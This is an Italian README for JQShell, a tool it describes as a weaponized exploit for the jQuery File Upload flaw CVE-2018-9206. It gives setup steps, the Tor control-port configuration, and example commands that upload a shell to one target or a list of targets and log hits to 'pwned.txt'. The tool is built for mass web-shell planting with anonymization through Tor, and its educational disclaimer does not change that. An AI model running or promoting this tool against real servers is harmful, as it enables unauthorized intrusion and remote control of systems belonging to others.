
Strumento di exploit automatizzato per CVE-2018-9206 (jQuery File Upload) con scansione su singolo/multiplo target, supporto proxy Tor e registrazione dell'output per test di penetrazione e uso didattico.

JQShell
Una versione armata di CVE-2018-9206.
Dichiarazione di non responsabilità
Usare questo tool contro server che non controlli è illegale nella maggior parte dei paesi. L'autore declina ogni responsabilità per le azioni di chi utilizza questo software per scopi illegali. Questo software è inteso esclusivamente per uso educativo. Nessun server è stato illegalmente violato durante la realizzazione di questo software.
Funzionalità
Singolo target Multi target Tor
Prerequisiti
Installa i seguenti pacchetti richiesti.
Python3
pip3 install requests pysocks subprocess stem
Porta di controllo Tor
Per usare Tor in questo script, devi modificare il file torrc e abilitare la porta di controllo su 9051.
Tipicamente questo file si trova qui: /etc/tor/torrc
Apri questo file e modifica questa riga:
#ControlPort 9051
in
ControlPort 9051
restart tor service
Utilizzo
usage: jqshell.py [-h] [-l LIST_INIT] [-t SINGLE_TARGET] -s SHELL_LOC
[-o OUTPUTZ] [-tor]
optional arguments:
-h, --help show this help message and exit
-l LIST_INIT, --list LIST_INIT
Select for a list of assets to exploit
-t SINGLE_TARGET, --target SINGLE_TARGET
Single exploit target
-s SHELL_LOC, --shell SHELL_LOC
This is required, put the fullpath to your shell
-o OUTPUTZ, --output OUTPUTZ
This is full path to were you want to save your list
of confirmed hosts
-tor, --tor_proxy Select if you have tor installed, you will need to
enable control port
Esempi
Esecuzione su un singolo target.
python3 jqshell.py -t http://localhost/folderwerejqueryis -s /var/www/html/shell.php
Esecuzione su un singolo target, con salvataggio dell'output.
python3 jqshell.py -t https://localhost/folderwerejqueryis -s /var/www/html/shell.php -o pwned.txt
Esecuzione su una lista, con salvataggio dell'output.
python3 jqshell.py -l /opt/jquery/test.txt -s /var/www/html/shell.php -o pwned.txt
Autore